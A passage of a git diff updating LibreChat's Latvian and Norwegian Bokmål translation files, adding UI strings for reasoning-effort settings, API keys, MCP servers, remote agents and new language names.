"Asistents", "com_endpoint_assistant_model": "Asistenta modelis", "com_endpoint_assistant_placeholder": "Lūdzu, labajā sānu panelī atlasiet asistentu.", + "com_endpoint_bedrock_reasoning_effort": "Kontrolē spriešanas līmeni atbalstītajiem Bedrock modeļiem (piemēram, Kimi K2.5, GLM). Augstāki līmeņi nodrošina pamatīgāku argumentāciju, taču tas maksā ar lielāku kavēšanos un lielākiem tokeniem.", "com_endpoint_config_click_here": "Noklikšķiniet šeit", "com_endpoint_config_google_api_info": "Lai iegūtu savu Ģeneratīvās valodas API atslēgu (Gemini),", "com_endpoint_config_google_api_key": "Google API atslēga", @@ -265,6 +267,7 @@ "com_endpoint_default_with_num": "noklusējums: {{0}}", "com_endpoint_disable_streaming": "Izslēgt atbilžu straumēšanu un saņemt visu atbildi uzreiz. Noderīgi tādiem modeļiem kā o3, kas pieprasa organizācijas pārbaudi straumēšanai.", "com_endpoint_disable_streaming_label": "Atspējot straumēšanu", + "com_endpoint_effort": "Piepūle", "com_endpoint_examples": "Iestatījumi", "com_endpoint_export": "Eksportēt", "com_endpoint_export_share": "Eksportēt/kopīgot", @@ -274,6 +277,7 @@ "com_endpoint_google_temp": "Augstākas vērtības = nejaušāks, savukārt zemākas vērtības = fokusētāks un deterministiskāks. Iesakām mainīt šo vai Top P, bet ne abus.", "com_endpoint_google_thinking": "Iespējo vai atspējo spriešanas funkciju. Šo iestatījumu atbalsta tikai daži modeļi (2.5 sērija). Vecākiem modeļiem šim iestatījumam var nebūt nekādas ietekmes.", "com_endpoint_google_thinking_budget": "Norāda modeļa izmantoto domāšanas tokenu skaitu. Faktiskais skaits var pārsniegt vai būt mazāks par šo vērtību atkarībā no uzvednes.\n\nŠo iestatījumu atbalsta tikai noteikti modeļi (2.5 sērija). Gemini 2.5 Pro atbalsta 128–32 768 žetonus. Gemini 2.5 Flash atbalsta 0–24 576 žetonus. Gemini 2.5 Flash Lite atbalsta 512–24 576 žetonus.\n\nAtstājiet tukšu vai iestatiet uz \"-1\", lai modelis automātiski izlemtu, kad un cik daudz domāt. Pēc noklusējuma Gemini 2.5 Flash Lite nedomā.", + "com_endpoint_google_thinking_level": "Kontrolē spriešanas dziļumu Gemini 3 un jaunākos modeļos. Nav ietekmes uz Gemini 2.5 un vecākiem modeļiem - tiem izmantojiet Domāšanas budžetu.\n\nLai izmantotu modeļa noklusējuma iestatījumu, atstājiet iestatījumu Automātiski.", "com_endpoint_google_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).", "com_endpoint_google_topp": "`Top-p` maina to, kā modelis atlasa tokenus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.", "com_endpoint_google_use_search_grounding": "Izmantot Google meklēšanas pamatošanas funkciju, lai uzlabotu atbildes ar reāllaika tīmekļa meklēšanas rezultātiem. Tas ļauj modeļiem piekļūt aktuālajai informācijai un sniegt precīzākas, aktuālākas atbildes.", @@ -330,7 +334,7 @@ "com_endpoint_prompt_prefix_assistants": "Papildu instrukcijas", "com_endpoint_prompt_prefix_assistants_placeholder": "Iestatiet papildu norādījumus vai kontekstu virs Asistenta galvenajiem norādījumiem. Ja lauks ir tukšs, tas tiek ignorēts.", "com_endpoint_prompt_prefix_placeholder": "Iestatiet pielāgotas instrukcijas vai kontekstu. Ja lauks ir tukšs, tas tiek ignorēts.", - "com_endpoint_reasoning_effort": "Spriešanas līmenis", + "com_endpoint_reasoning_effort": "Spriešanas piepūle", "com_endpoint_reasoning_summary": "Spriešanas kopsavilkums", "com_endpoint_save_as_preset": "Saglabāt kā iestatījumu", "com_endpoint_search": "Meklēt galapunktu pēc nosaukuma", @@ -343,6 +347,7 @@ "com_endpoint_temperature": "Temperatūra", "com_endpoint_thinking": "Domāšana", "com_endpoint_thinking_budget": "Domāšanas budžets", + "com_endpoint_thinking_level": "Domāšanas līmenis", "com_endpoint_top_k": "Top K", "com_endpoint_top_p": "Top P", "com_endpoint_use_active_assistant": "Izmantojiet aktīvo asistentu", @@ -488,7 +493,7 @@ "com_nav_info_latex_parsing": "Ja šī opcija ir iespējota, LaTeX kods ziņās tiks atveidots kā matemātiski vienādojumi. Šīs opcijas atspējošana var uzlabot veiktspēju, ja LaTeX atveidošana nav nepieciešama.", "com_nav_info_save_badges_state": "Ja šī opcija ir iespējota, sarunu nozīmīšu stāvoklis tiks saglabāts. Tas nozīmē, ka, izveidojot jaunu sarunu, nozīmītes paliks tādā pašā stāvoklī kā iepriekšējā sarunā. Ja atspējosiet šo opciju, nozīmītes tiks atiestatītas uz noklusējuma stāvokli katru reizi, kad izveidosiet jaunu sarunu.", "com_nav_info_save_draft": "Ja šī opcija ir iespējota, sarunas veidlapā ievadītais teksts un pielikumi tiks automātiski saglabāti lokāli kā melnraksti. Šie melnraksti būs pieejami pat tad, ja atkārtoti ielādēsiet lapu vai pārslēgsieties uz citu sarunu. Melnraksti tiek saglabāti lokāli jūsu ierīcē un tiek dzēsti, tiklīdz ziņa ir nosūtīts.", - "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamās izvēlnes, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.", + "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamā izvēlne, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.", "com_nav_info_user_name_display": "Ja šī opcija ir iespējota, sūtītāja lietotājvārds tiks rādīts virs katra jūsu nosūtītās ziņas. Ja šī opcija ir atspējota, virs ziņām redzēsiet tikai vārdu \"Jūs\".", "com_nav_keep_screen_awake": "Atbildes ģenerēšanas laikā atstājiet ekrānu nomodā", "com_nav_lang_arabic": "العربية", @@ -509,16 +514,20 @@ "com_nav_lang_german": "Vācu", "com_nav_lang_hebrew": "עברית", "com_nav_lang_hungarian": "Magyar", + "com_nav_lang_icelandic": "Íslenska", "com_nav_lang_indonesia": "Indonēziešu", "com_nav_lang_italian": "Itāļu", "com_nav_lang_japanese": "日本語", "com_nav_lang_korean": "한국어", "com_nav_lang_latvian": "Latviešu", + "com_nav_lang_lithuanian": "Lietuvių", "com_nav_lang_norwegian_bokmal": "Norsk Bokmål", + "com_nav_lang_norwegian_nynorsk": "Norsk Nynorsk", "com_nav_lang_persian": "فارسی", "com_nav_lang_polish": "Poļu", "com_nav_lang_portuguese": "Portugāļu", "com_nav_lang_russian": "Krievu", + "com_nav_lang_slovak": "Slovenčina", "com_nav_lang_slovenian": "Slovenščina", "com_nav_lang_spanish": "Spāņu", "com_nav_lang_swedish": "Zviedru", @@ -654,6 +663,8 @@ "com_ui_advanced": "Paplašinātie uzstādījumi", "com_ui_advanced_settings": "Advancētie iestatījumi", "com_ui_agent": "Aģents", + "com_ui_agent_api_keys": "Aģenta API atslēgas", + "com_ui_agent_api_keys_description": "Izveidot API atslēgas, lai attālināti piekļūtu aģentiem, izmantojot API", "com_ui_agent_category_aftersales": "Pēcpārdošanas pakalpojumi", "com_ui_agent_category_finance": "Finanses", "com_ui_agent_category_general": "Vispārīgi", @@ -708,6 +719,16 @@ "com_ui_analyzing": "Analīze", "com_ui_analyzing_finished": "Analīze pabeigta", "com_ui_api_key": "API atslēga", + "com_ui_api_key_copied": "API atslēga kopēta starpliktuvē", + "com_ui_api_key_create_error": "Neizdevās izveidot API atslēgu", + "com_ui_api_key_created": "API atslēga veiksmīgi saglabāta", + "com_ui_api_key_delete_error": "Neizdevās izdzēst API atslēgu", + "com_ui_api_key_deleted": "API atslēga veiksmīgi dzēsta", + "com_ui_api_key_name": "Atslēgas nosaukums", + "com_ui_api_key_name_placeholder": "Mana API atslēga", + "com_ui_api_key_name_required": "Nepieciešams API atslēgas nosaukums", + "com_ui_api_key_warning": "Noteikti nokopējiet savu API atslēgu tūlīt. Jūs to vairs nevarēsiet redzēt!", + "com_ui_api_keys_load_error": "Neizdevās ielādēt API atslēgas", "com_ui_archive": "Arhīvs", "com_ui_archive_delete_error": "Neizdevās izdzēst arhivēto sarunu.", "com_ui_archive_error": "Neizdevās arhivēt sarunu.", @@ -824,6 +845,7 @@ "com_ui_controls": "Pārvaldība", "com_ui_conversation": "saruna", "com_ui_conversation_label": "{{title}} saruna", + "com_ui_conversation_not_found": "Saruna nav atrasta", "com_ui_conversations": "sarunas", "com_ui_convo_archived": "Sarunas arhivētas", "com_ui_convo_delete_error": "Neizdevās izdzēst sarunu", @@ -838,12 +860,16 @@ "com_ui_copy_to_clipboard": "Kopēt starpliktuvē", "com_ui_copy_url_to_clipboard": "URL kopēšana uz starpliktuvi", "com_ui_create": "Izveidot", + "com_ui_create_api_key": "Izveidot API atslēgu", "com_ui_create_assistant": "Izveidot palīgu", "com_ui_create_link": "Izveidot saiti", + "com_ui_create_mcp_server": "Izveidot MCP serveri", "com_ui_create_memory": "Izveidot atmiņu", "com_ui_create_new_agent": "Izveidot jaunu aģentu", "com_ui_create_prompt": "Izveidot uzvedni", "com_ui_create_prompt_page": "Jauna uzvedņu konfigurācijas lapa", + "com_ui_created": "Izveidots", + "com_ui_creating": "Notiek izveide...", "com_ui_creating_image": "Attēla izveide. Var aizņemt brīdi.", "com_ui_current": "Pašreizējais", "com_ui_currently_production": "Pašlaik produkcijā", @@ -883,6 +909,9 @@ "com_ui_delete_confirm_prompt_version_var": "Šī darbība izdzēsīs atlasīto versiju \"{{0}}\" Ja citu versiju nebūs pieejamu, uzvedne tiks dzēsta.", "com_ui_delete_confirm_strong": "Šis izdzēsīs {{title}}", "com_ui_delete_conversation": "Dzēst sarunu?", + "com_ui_delete_conversation_tooltip": "Dzēst sarunu", + "com_ui_delete_mcp_server": "Vai dzēst MCP serveri?", + "com_ui_delete_mcp_server_name": "Dzēst MCP serveri {{0}}", "com_ui_delete_memory": "Dzēst atmiņu", "com_ui_delete_not_allowed": "Dzēšanas darbība nav atļauta", "com_ui_delete_preset": "Vai dzēst iestatījumu?", @@ -895,6 +924,7 @@ "com_ui_delete_tool_confirm": "Vai tiešām vēlaties dzēst šo rīku?", "com_ui_delete_tool_save_reminder": "Rīks noņemts. Saglabājiet aģentu, lai piemērotu izmaiņas.", "com_ui_deleted": "Dzēsts", + "com_ui_deleting": "Dzēš...", "com_ui_deleting_file": "Dzēšu failu...", "com_ui_descending": "Dilstošs", "com_ui_description": "Apraksts", @@ -1020,6 +1050,7 @@ "com_ui_handoff_instructions": "Nodošanas instrukcijas", "com_ui_happy_birthday": "Man šodien ir pirmā dzimšanas diena!", "com_ui_header_format": "Galvenes formāts", + "com_ui_hide": "Paslēpt", "com_ui_hide_code": "Slēpt kodu", "com_ui_hide_image_details": "Slēpt attēla detaļas", "com_ui_hide_password": "Paslēpt paroli", @@ -1045,6 +1076,7 @@ "com_ui_instructions": "Instrukcijas", "com_ui_key": "Atslēga", "com_ui_key_required": "Nepieciešama API atslēga", + "com_ui_last_used": "Pēdējais izmantotais", "com_ui_late_night": "Priecīgu vēlu nakti", "com_ui_latest_footer": "Mākslīgais intelekts ikvienam.", "com_ui_latest_production_version": "Jaunākā produkcijas versija", @@ -1063,12 +1095,18 @@ "com_ui_manage": "Pārvaldīt", "com_ui_marketplace": "Katalogs", "com_ui_marketplace_allow_use": "Atļaut izmantot katalogu", + "com_ui_max": "Maksimums", "com_ui_max_favorites_reached": "Sasniegts maksimālais piesprausto elementu skaits ({{0}}). Atvienojiet elementu, lai pievienotu citu.", "com_ui_max_file_size": "PNG, JPG vai JPEG (maks. {{0}})", "com_ui_max_tags": "Maksimālais atļautais skaits ir {{0}}, izmantojot jaunākās vērtības.", "com_ui_mcp_authenticated_success": "MCP serveris '{{0}}' veiksmīgi autentificēts", + "com_ui_mcp_click_to_defer": "Noklikšķiniet, lai atliktu — rīks būs atrodams, izmantojot meklēšanu, bet netiks ielādēts, līdz tas būs nepieciešams", + "com_ui_mcp_click_to_programmatic": "Iespējot programmatisku izsaukšanu — rīku var izsaukt tikai, izpildot kodu", "com_ui_mcp_configure_server": "Konfigurēt {{0}}", "com_ui_mcp_configure_server_description": "Konfigurējiet pielāgotus mainīgos {{0}}", + "com_ui_mcp_defer": "Atlikt", + "com_ui_mcp_defer_all": "Atlikt visus rīkus", + "com_ui_mcp_defer_loading": "Atlikt ielādi", "com_ui_mcp_dialog_title": "Mainīgo konfigurēšana {{serverName}}. Servera statuss: {{status}}", "com_ui_mcp_domain_not_allowed": "MCP servera domēna nav atļauto domēnu sarakstā. Lūdzu, sazinieties ar savu administratoru.", "com_ui_mcp_enter_var": "Ievadiet vērtību {{0}}", @@ -1076,8 +1114,11 @@ "com_ui_mcp_initialize": "Inicializēt", "com_ui_mcp_initialized_success": "MCP serveris '{{0}}' veiksmīgi inicializēts", "com_ui_mcp_invalid_url": "Lūdzu, ievadiet derīgu URL.", + "com_ui_mcp_no_description": "Apraksts nav pieejams", "com_ui_mcp_oauth_cancelled": "OAuth pieteikšanās atcelta {{0}}", "com_ui_mcp_oauth_timeout": "OAuth pieteikšanās beidzās priekš {{0}}", + "com_ui_mcp_programmatic": "Programmatisks", + "com_ui_mcp_programmatic_all": "Atzīmēt visus kā programmatiskus", "com_ui_mcp_server": "MCP serveris", "com_ui_mcp_server_connection_failed": "Savienojuma mēģinājums ar norādīto MCP serveri neizdevās. Lūdzu, pārliecinieties, ka URL, servera tips un autentifikācijas konfigurācija ir pareiza, un pēc tam mēģiniet vēlreiz. Pārliecinieties arī, vai URL ir sasniedzams.", "com_ui_mcp_server_created": "Veiksmīgi izveidots MCP serveris", @@ -1097,9 +1138,13 @@ "com_ui_mcp_servers_allow_share_public": "Ļaujiet lietotājiem publiski koplietot MCP serverus", "com_ui_mcp_servers_allow_use": "Atļaut lietotājiem izmantot MCP serverus", "com_ui_mcp_title_invalid": "Virsrakstā var būt tikai burti, cipari un atstarpes.", + "com_ui_mcp_tool_options": "Rīka opcijas", "com_ui_mcp_transport": "Transports", "com_ui_mcp_type_sse": "SSE", "com_ui_mcp_type_streamable_http": "Straumējams HTTPS", + "com_ui_mcp_undefer": "Neatlikt", + "com_ui_mcp_undefer_all": "Atcelt visu rīku atlikšanu", + "com_ui_mcp_unprogrammatic_all": "Noņemiet visus kā programmatiskus", "com_ui_mcp_update_var": "Atjaunināt {{0}}", "com_ui_mcp_url": "MCP servera URL", "com_ui_medium": "Vidējs", @@ -1134,6 +1179,8 @@ "com_ui_misc": "Dažādi", "com_ui_model": "Modelis", "com_ui_model_parameters": "Modeļa Parametrus", + "com_ui_model_parameters_reset": "Modeļa parametri ir atiestatīti.", + "com_ui_model_selected": "{{0}} atlasīts", "com_ui_more_info": "Vairāk informācijas", "com_ui_my_prompts": "Manas uzvednes", "com_ui_name": "Vārds", @@ -1143,6 +1190,7 @@ "com_ui_new_conversation_title": "Jaunas sarunas nosaukums", "com_ui_next": "Nākamais", "com_ui_no": "Nē", + "com_ui_no_api_keys": "Vēl nav API atslēgu. Izveidojiet vienu, lai sāktu.", "com_ui_no_auth": "Nav autorizācijas", "com_ui_no_bookmarks": "Šķiet, ka jums vēl nav grāmatzīmju. Noklikšķiniet uz sarunas un pievienojiet jaunu.", "com_ui_no_bookmarks_match": "Nav atbilstošu grāmatzīmju meklēšanas vaicājumam", @@ -1178,6 +1226,7 @@ "com_ui_off": "Izslēgts", "com_ui_offline": "Bezsaistē", "com_ui_on": "Ieslēgts", + "com_ui_open_archived_chat_new_tab_title": "{{title}} (atveras jaunā cilnē)", "com_ui_open_source_chat_new_tab": "Atvērtā koda saruna jaunā cilnē", "com_ui_open_source_chat_new_tab_title": "Atvērtā koda saruna jaunā cilnē - {{title}}", "com_ui_open_var": "Atvērt {{0}}", @@ -1199,6 +1248,7 @@ "com_ui_privacy_policy": "Privātuma politika", "com_ui_privacy_policy_url": "Privātuma politika web adrese", "com_ui_prompt": "Uzvedne", + "com_ui_prompt_deleted": "{{0}} dzēsts", "com_ui_prompt_group_button": "{{name}} uzvedne, {{category}} kategorija", "com_ui_prompt_group_button_no_category": "{{name}} uzvedne.", "com_ui_prompt_groups": "Uzvedņu grupu saraksts", @@ -1231,6 +1281,18 @@ "com_ui_regenerating": "Atjaunojas...", "com_ui_region": "Reģions", "com_ui_reinitialize": "Reinicializēt", + "com_ui_remote_access": "Attālinātā piekļuve", + "com_ui_remote_agent_role_editor": "Redaktors", + "com_ui_remote_agent_role_editor_desc": "Var skatīt un modificēt aģentu, izmantojot API", + "com_ui_remote_agent_role_owner": "API īpašnieks", + "com_ui_remote_agent_role_owner_desc": "Pilna API piekļuve un var piešķirt attālo piekļuvi citiem", + "com_ui_remote_agent_role_viewer": "API skatītājs", + "com_ui_remote_agent_role_viewer_desc": "Var veikt vaicājumu aģentam, izmantojot API", + "com_ui_remote_agents": "Attālinātie aģenti (API)", + "com_ui_remote_agents_allow_create": "Atļaut lietotājiem izveidot aģentus, izmantojot API", + "com_ui_remote_agents_allow_share": "Atļaut lietotājiem piešķirt API piekļuvi aģentiem citiem lietotājiem", + "com_ui_remote_agents_allow_share_public": "Atļaut lietotājiem piešķirt API piekļuvi aģentiem visiem lietotājiem", + "com_ui_remote_agents_allow_use": "Atļaut lietotājiem attālināti izveidot API atslēgas un vaicājumu aģentus", "com_ui_remove_agent_from_chain": "Noņemt {{0}} no ķēdes", "com_ui_remove_user": "Noņemt {{0}}", "com_ui_rename": "Pārdēvēt", @@ -1320,6 +1382,7 @@ "com_ui_shared_link_not_found": "Kopīgotā saite nav atrasta", "com_ui_shared_prompts": "Kopīgotas uzvednes", "com_ui_shop": "Iepirkšanās", + "com_ui_show": "Rādīt", "com_ui_show_all": "Rādīt visu", "com_ui_show_code": "Rādīt kodu", "com_ui_show_image_details": "Rādīt attēla detaļas", @@ -1333,6 +1396,7 @@ "com_ui_special_var_current_datetime": "Pašreizējais datums un laiks", "com_ui_special_var_current_user": "Pašreizējais lietotājs", "com_ui_special_var_iso_datetime": "UTC ISO datums un laiks", + "com_ui_special_variable_added": "{{0}} pievienots īpašs mainīgais.", "com_ui_special_variables": "Īpašie mainīgie:", "com_ui_special_variables_more_info": "Nolaižamajā izvēlnē varat atlasīt īpašos mainīgos:{{current_date}}` (šodienas datums un nedēļas diena), `{{current_datetime}}` (vietējais datums un laiks), `{{utc_iso_datetime}}` (UTC ISO datums/laiks) un `{{current_user}} (jūsu lietotāja vārds).", "com_ui_speech_not_supported": "Jūsu pārlūkprogramma neatbalsta runas atpazīšanu", @@ -1377,6 +1441,7 @@ "com_ui_ui_resource_not_found": "UI Resurss nav atrasts (indekss: {{0}})", "com_ui_ui_resources": "Lietotāja saskarnes resursi", "com_ui_unarchive": "Atarhivēt", + "com_ui_unarchive_conversation": "Atarhivēt sarunu", "com_ui_unarchive_error": "Neizdevās atarhivēt sarunu", "com_ui_unavailable": "Nav pieejams", "com_ui_unknown": "Nezināms", @@ -1384,6 +1449,8 @@ "com_ui_unset": "Neuzlikts", "com_ui_untitled": "Bez nosaukuma", "com_ui_update": "Atjauninājums", + "com_ui_update_mcp_server": "Atjaunināt MCP serveri", + "com_ui_updating": "Atjaunina...", "com_ui_upload": "Augšupielādēt", "com_ui_upload_agent_avatar": "Aģenta avatars veiksmīgi atjaunināts", "com_ui_upload_agent_avatar_label": "Augšupielādēt aģenta avatāra attēlu", @@ -1392,7 +1459,7 @@ "com_ui_upload_delay": "Augšupielāde \"{{0}}\" aizņem vairāk laika nekā paredzēts. Lūdzu, uzgaidiet, kamēr faila indeksēšana ir pabeigta izguvei.", "com_ui_upload_error": "Augšupielādējot failu, radās kļūda.", "com_ui_upload_file_context": "Augšupielādēt failu kā kontekstu", - "com_ui_upload_file_search": "Augšupielādēt vektorizētai meklēšanai", + "com_ui_upload_file_search": "Pievienot meklēšanai dokumentos", "com_ui_upload_files": "Augšupielādēt failus", "com_ui_upload_icon": "Augšupielādēt ikonas attēlu", "com_ui_upload_image": "Augšupielādēt failu kā attēlu", @@ -1400,7 +1467,7 @@ "com_ui_upload_invalid": "Nederīgs augšupielādējamais fails. Attēlam jābūt tādam, kas nepārsniedz ierobežojumu.", "com_ui_upload_invalid_var": "Nederīgs augšupielādējams fails. Attēlam jābūt ne lielākam par {{0}} MB", "com_ui_upload_ocr_text": "Augšupielādēt failu kā kontekstu", - "com_ui_upload_provider": "Augšupielādēt pakalpojumu sniedzējam", + "com_ui_upload_provider": "Pievienot čatam", "com_ui_upload_success": "Fails veiksmīgi augšupielādēts", "com_ui_upload_type": "Izvēlieties augšupielādes veidu", "com_ui_usage": "Izmantošana", @@ -1419,7 +1486,7 @@ "com_ui_version_var": "Versija {{0}}", "com_ui_versions": "Versijas", "com_ui_view_memory": "Skatīt atmiņu", - "com_ui_web_search": "Tīmekļa meklēšana", + "com_ui_web_search": "Meklēšana tīmeklī", "com_ui_web_search_cohere_key": "Ievadiet Cohere API atslēgu", "com_ui_web_search_firecrawl_url": "Firecrawl API URL (pēc izvēles)", "com_ui_web_search_jina_key": "Ievadiet Jina API atslēgu", @@ -1450,6 +1517,7 @@ "com_ui_x_selected": "{{0}} atlasīts", "com_ui_xhigh": "Īpaši augsts", "com_ui_yes": "Jā", + "com_ui_your_api_key": "Tava API atslēga", "com_ui_zoom": "Tālummaiņa", "com_ui_zoom_in": "Pietuvināt", "com_ui_zoom_level": "Pietuvināšanas līmenis", diff --git a/client/src/locales/nb/translation.json b/client/src/locales/nb/translation.json index 15d77af35d..f5b1943b39 100644 --- a/client/src/locales/nb/translation.json +++ b/client/src/locales/nb/translation.json @@ -3,11 +3,13 @@ "chat_direction_right_to_left": "Høyre til venstre", "com_a11y_ai_composing": "KI-en skriver fortsatt.", "com_a11y_end": "KI-en har fullført svaret sitt.", + "com_a11y_selected": "valgt", "com_a11y_start": "KI-en har begynt å svare.", "com_agents_agent_card_label": "{{name}}-agent. {{description}}", "com_agents_all": "Alle agenter", "com_agents_all_category": "Alle", "com_agents_all_description": "Utforsk delte agenter på tvers av alle kategorier", + "com_agents_avatar_upload_error": "Kunne ikke laste opp agentavatar", "com_agents_by_librechat": "av LibreChat", "com_agents_category_aftersales": "Salgsoppfølging", "com_agents_category_aftersales_description": "Agenter for kundeservice, support og oppfølging etter et gjennomført salg.", @@ -26,6 +28,7 @@ "com_agents_category_sales_description": "Agenter som bistår i salgsprosesser og med kundekontakt.", "com_agents_category_tab_label": "Kategorien {{category}}, {{position}} av {{total}}", "com_agents_category_tabs_label": "Agentkategorier", + "com_agents_chat_with": "Chat med {{navn}}", "com_agents_clear_search": "Tøm søket", "com_agents_code_interpreter": "Når aktivert, kan agenten din bruke LibreChat Code Interpreter API for å kjøre generert kode sikkert, inkludert filbehandling. Krever en gyldig API-nøkkel.", "com_agents_code_interpreter_title": "Code Interpreter API", @@ -33,6 +36,7 @@ "com_agents_copy_link": "Kopier lenke", "com_agents_create_error": "Det oppstod en feil under oppretting av agenten.", "com_agents_created_by": "av", + "com_agents_description_card": "Beskrivelse: {{description}}", "com_agents_description_placeholder": "Valgfritt: Beskriv agenten din her.", "com_agents_empty_state_heading": "Ingen agenter funnet", "com_agents_enable_file_search": "Aktiver filsøk", @@ -59,7 +63,9 @@ "com_agents_error_timeout_suggestion": "Sjekk internettforbindelsen din og prøv igjen.", "com_agents_error_timeout_title": "Tidsavbrudd for tilkobling", "com_agents_error_title": "Noe gikk galt", + "com_agents_file_context_description": "Filer lastet opp som \"Kontekst\" er analysert son tekst for å supplementere agenten sine instruksjoner. Dersom OCR er tilgjengelig, eller er konfigurert for den opplastede filtypen, vil prosessen bli brukt til å hente ut tekst. Dette er ideelt for dokumenter, bilder med tekst, eller PDFer som krever det fulle tekstinnholdet i en fil.", "com_agents_file_context_disabled": "Agenten må være opprettet før du kan laste opp filer for filkontekst.", + "com_agents_file_context_label": "Filkontekst", "com_agents_file_search_disabled": "Agenten må være opprettet før du kan laste opp filer for filsøk.", "com_agents_file_search_info": "Når dette er aktivert, vil agenten bruke de eksakte filnavnene listet nedenfor for å hente relevant kontekst fra disse filene.", "com_agents_grid_announcement": "Viser {{count}} agenter i kategorien {{category}}.", @@ -87,7 +93,7 @@ "com_agents_search_empty_heading": "Ingen søkeresultater", "com_agents_search_info": "Når aktivert, kan agenten din søke på nettet for oppdatert informasjon. Krever en gyldig API-nøkkel.", "com_agents_search_instructions": "Skriv for å søke etter agenter etter navn eller beskrivelse.", - "com_agents_search_name": "Søk agenter etter navn", + "com_agents_search_name": "Søk etter agenter ved navn", "com_agents_search_no_results": "Ingen agenter funnet for «{{query}}».", "com_agents_search_placeholder": "Søk agenter ...", "com_agents_see_more": "Se mer", @@ -139,6 +145,7 @@ "com_assistants_update_actions_success": "Handlingen ble opprettet eller oppdatert.", "com_assistants_update_error": "Det oppstod en feil under oppdatering av assistenten.", "com_assistants_update_success": "Oppdatering fullført", + "com_assistants_update_success_name": "Oppdatering av {{name}} vellykket", "com_auth_already_have_account": "Har du allerede en konto?", "com_auth_apple_login": "Logg inn med Apple", "com_auth_back_to_login": "Tilbake til innlogging", @@ -217,10 +224,11 @@ "com_endpoint_agent": "Agent", "com_endpoint_agent_placeholder": "Velg en agent", "com_endpoint_ai": "KI", + "com_endpoint_anthropic_effort": "Kontrollerer hvor mye innsats Claude legger i beregning. Lavere innsats sparer tokens og reduserer treghet, høyere innsats produserer mer gjennom responser. \"Maks\" gir den høyeste graden av resonnering (kun Opus 4.6)", "com_endpoint_anthropic_maxoutputtokens": "Maksimalt antall tokens som kan genereres i svaret. Angi en lavere verdi for kortere svar og en høyere verdi for lengre svar. Merk: Modeller kan stoppe før de når dette maksimumet.", "com_endpoint_anthropic_prompt_cache": "Prompt-mellomlagring gjør det mulig å gjenbruke stor kontekst eller instruksjoner på tvers av API-kall, noe som reduserer kostnader og ventetid.", "com_endpoint_anthropic_temp": "Varierer fra 0 til 1. Bruk en temperatur nærmere 0 for analytiske oppgaver, og nærmere 1 for kreative og generative oppgaver. Vi anbefaler å endre enten denne eller Topp P, men ikke begge.", - "com_endpoint_anthropic_thinking": "Aktiverer intern resonnering for støttede Claude-modeller (f.eks. 3.7 Sonnet). Merk: Krever at \"Tenkebudsjett\" er satt og er lavere enn \"Maks utdata-tokens\".", + "com_endpoint_anthropic_thinking": "Aktiverer intern resonnering for støttede Claude-modeller. For nyere modeller (Opus 4.6+) brukes adaptiv tenkning kontrollert av Effort-parameteren. For eldre modeller kreves det at \"Thinking Budget\" er satt og lavere enn \"Max Output Tokens\".", "com_endpoint_anthropic_thinking_budget": "Bestemmer det maksimale antallet tokens Claude kan bruke for sin interne resonneringsprosess. Et større budsjett kan forbedre svarkvaliteten for komplekse problemer. Denne verdien må være lavere enn \"Maks utdata-tokens\".", "com_endpoint_anthropic_topk": "Top-k endrer hvordan modellen velger tokens for utdata. En top-k på 1 betyr at det valgte tokenet er det mest sannsynlige (grådig dekoding). En top-k på 3 betyr at det neste tokenet velges blant de 3 mest sannsynlige (ved hjelp av temperatur).", "com_endpoint_anthropic_topp": "Top-p endrer hvordan modellen velger tokens for utdata. Tokens velges fra de mest sannsynlige til summen av sannsynlighetene deres er lik top-p-verdien.", @@ -258,6 +266,7 @@ "com_endpoint_default_with_num": "standard: {{0}}", "com_endpoint_disable_streaming": "Deaktiver strømming av svar og motta hele svaret på en gang. Nyttig for modeller som krever organisasjonsverifisering for strømming.", "com_endpoint_disable_streaming_label": "Deaktiver strømming", + "com_endpoint_effort": "Innsats", "com_endpoint_examples": "Forhåndsinnstillinger", "com_endpoint_export": "Eksporter", "com_endpoint_export_share": "Eksporter/Del", @@ -274,7 +283,7 @@ "com_endpoint_instructions_assistants_placeholder": "Overstyrer assistentens instruksjoner. Nyttig for å endre atferden for en enkelt kjøring.", "com_endpoint_max_output_tokens": "Maks utdata-tokens", "com_endpoint_message": "Melding", - "com_endpoint_message_new": "Melding {{0}}", + "com_endpoint_message_new": "Send melding til {{0}}", "com_endpoint_message_not_appendable": "Rediger meldingen din eller regenerer.", "com_endpoint_my_preset": "Min forhåndsinnstilling", "com_endpoint_no_presets": "Ingen forhåndsinnstillinger ennå. Bruk innstillingsknappen for å lage en.", @@ -308,6 +317,7 @@ "com_endpoint_preset_default_removed": "er ikke lenger standard forhåndsinnstilling.", "com_endpoint_preset_delete_confirm": "Er du sikker på at du vil slette denne forhåndsinnstillingen?", "com_endpoint_preset_delete_error": "Det oppstod en feil under sletting av forhåndsinnstillingen. Vennligst prøv igjen.", + "com_endpoint_preset_delete_success": "Sletting av forhåndsinnstilling vellykket", "com_endpoint_preset_import": "Forhåndsinnstilling importert!", "com_endpoint_preset_import_error": "Det oppstod en feil under importering av forhåndsinnstillingen. Vennligst prøv igjen.", "com_endpoint_preset_name": "Navn på forhåndsinnstilling", @@ -348,6 +358,7 @@ "com_error_files_process": "Det oppstod en feil under behandling av filen.", "com_error_files_upload": "Det oppstod en feil under opplasting av filen.", "com_error_files_upload_canceled": "Forespørselen om filopplasting ble avbrutt. Merk: Filopplastingen kan fortsatt behandles og må slettes manuelt.", + "com_error_files_upload_too_large": "Filen er for stor. Vennligst last opp en fil som er mindre enn {{}} MB", "com_error_files_validation": "Det oppstod en feil under validering av filen.", 